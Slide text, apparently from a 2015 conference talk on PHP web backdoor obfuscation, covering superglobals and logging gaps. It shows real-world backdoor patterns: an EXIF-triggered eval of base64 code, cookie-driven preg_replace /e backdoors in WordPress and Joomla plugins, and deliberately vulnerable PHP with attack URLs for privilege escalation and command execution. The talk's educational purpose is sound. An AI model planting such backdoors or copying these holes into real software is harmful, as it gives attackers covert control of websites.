# PHP superglobals

- **\$\_GET**
- **\$\_POST**
- **\$\_COOKIE**
- **\$\_REQUEST**
- **\$\_SERVER**

**/superglobal.php?foo=1 &bar=2**

**POST /superglobal.php?foo=1 &bar=2 HTTP/1.0**

**Content-length: 391**

**Cookie: bar=4;**

**foo=3**

example of a POST request used to  
explain superglobals

# /superglobal.php?foo=1&bar=2

```
var_dump($_GET)
```

```
array(2) {  
    ["foo"]=> string(1) "1"  
    ["bar"]=> string(1) "2"  
}
```

```
var_dump($_POST)
```

```
array(1) {  
    ["foo"]=> string(1) "3"  
}
```

```
var_dump($_COOKIE)
```

```
array(1) {  
    ["bar"]=> string(1) "4"  
}
```

# /superglobal.php?foo=1&bar=2

```
var_dump($_GET)
```

```
array(2) {  
    ["foo"]=> string(1) "1"  
    ["bar"]=> string(1) "2"  
}
```

```
var_dump($_POST)
```

```
array(1) {  
    ["foo"]=> string(1) "3"  
}
```

```
var_dump($_COOKIE)
```

```
array(1) {  
    ["bar"]=> string(1) "4"  
}
```

in red we can see what \$\_REQUEST has

```
var_dump($_REQUEST);
```

**/superglobal.php?foo=1 &bar=2**

**"GET /superglobal.php?foo=1&bar=2**

**HTTP/1.1" 200 391**

---

**"POST /superglobal.php?foo=1&bar=2**

**HTTP/1.1" 200 391**

# /superglobal.php

```
var_dump($_SERVER)
```

**headers:**  
**foo=3**

```
array(x) {  
  ["HTTP_HOST"]=>  
    string(13) "172.16.34.141"  
  ["HTTP_CONNECTION"]=>  
    string(10) "keep-alive"  
  ["CONTENT_LENGTH"]=>  
    string(1) "5"  
  ["HTTP_FOO"]=>  
    string(1) "3"  
  ...  
}
```

**/superglobal.php**

**"GET /superglobal.php?  
foo=1&bar=2**

**HTTP/1.1" 200 391**

---

**"POST /superglobal.php**

**HTTP/1.1" 200 760**

again no traces about headers nor  
cookies

PHP web backdoor obfuscation - guly@ESC 2k15

# PHP's `exif_read_data` function

PHP has a function called `exif_read_data` which allows it to read the header data of image files.

It is used extensively in many different plugins and tools.

# real world: exif\_data

```
$exif = exif_read_data('http://  
foo.bar/image.jpg);  
preg_replace($exif['Make'],  
$exif['Model'], 'Canon');
```

```
"Make"]=>  
string(5) "/.* /e"  
["Model"]=>  
string(108)
```

```
"eval(base64_decode('aWYgKG..'));"
```

# real world: wp plugin

```
<?php
function start_cforms_session(){
    @session_cache_limiter('private, must-
revalidate');
    @session_cache_expire(0);
    $form1=@$_COOKIE['Kcqf3'];
    if ($form1) {
        $opt=$form1(@$_COOKIE['Kcqf2']);
        $au=$form1(@$_COOKIE['Kcqf1']);
        $opt=("/292/e",$au,292); die();
    }
}
```

# real world: joomla plugin

```
public function __construct() {  
    $filter = JRequest::getString('p3', Null, 'cookie');  
    if ($filter) {  
        $option = $filter(JRequest::getString('p2', Null,  
        'cookie'));  
        $auth = $filter(JRequest::getString('p1', Null, 'cookie'));  
        $option("/123/e", $auth, 123);  
        die();  
    }  
}
```

# vulns: isadmin

```
//Authentication
```

```
$user = safeEscape($_POST['user']);  
$pass = safeCrypt(safeEscape($_POST['pass']));  
$query = "SELECT isadmin FROM user where user=  
$user and pass=$pass";  
$isadmin = mysql_query($query);
```

```
@extract($_REQUEST['login']);
```

```
if ($isadmin) {  
    admin();  
} else {  
    user();  
}
```

pseudo function, let's pretend  
safeEscape and safeCrypt are really  
safe

# vulns: isadmin

[http://foo.bar/login.php?  
login\[isadmin\]=1](http://foo.bar/login.php?login[isadmin]=1)

Keep Calm  
& Welcome

Your New  
ADMIN

# vulns: sqli prevention

```
$check = intval($_GET['id']);  
if ($check == $_GET['id']) {  
    $query = "SELECT name FROM table  
where id=$_GET['id']";  
    $result = mysql_query($query);  
    var_dump($result);  
}
```

...gone wrong :)

# vulns: name

```
$query = "SELECT name FROM user where  
user=$user and pass=$pass";  
$name = mysql_query($query);
```

```
$safeName = @preg_replace("/\W*/e", $name, ' ');  
echo "Welcome, <pre>$safe_name</pre>";
```

# vulns: name

update sql db setting my name to  
'system(\$\_GET[c]);'

```
name =>  
system($_GET[c]);
```

```
http://foo.bar/  
welcome.php?c=whoami
```

# vulns: conf.php

```
<?php
```

```
$smtp_host = '127.0.0.1';
```

```
$smtp_user = '';
```

```
$smtp_pass = '';
```

```
$smtp_from = 'root@localhost'; //sender
```

```
$smtp_method = 'system'; //system or smtp
```

```
$smtp_crypt = 'NONE'; //NONE SSL STARTTLS
```

```
...
```

pretend a CMS uses a conf like this, we add a "cuscom" \$smtp\_method

# vulns: conf.php

```
<?php
global $smtp_host, $smtp_user, $smtp_pass;
global $smtp_from, $smtp_method, $smtp_crypt;
require 'conf.php';

doCron();
$smtp_method($_GET['mailto']);
```

[http://foo.bar/cron.php?  
mailto=ls](http://foo.bar/cron.php?mailto=ls)

# more vulns

- `imagecreatefromjpeg`
- `gd`
- `unserialize`
- `php object injection`

will you attend to V2.0 talk? ;)

# hack backdoor: c99

```
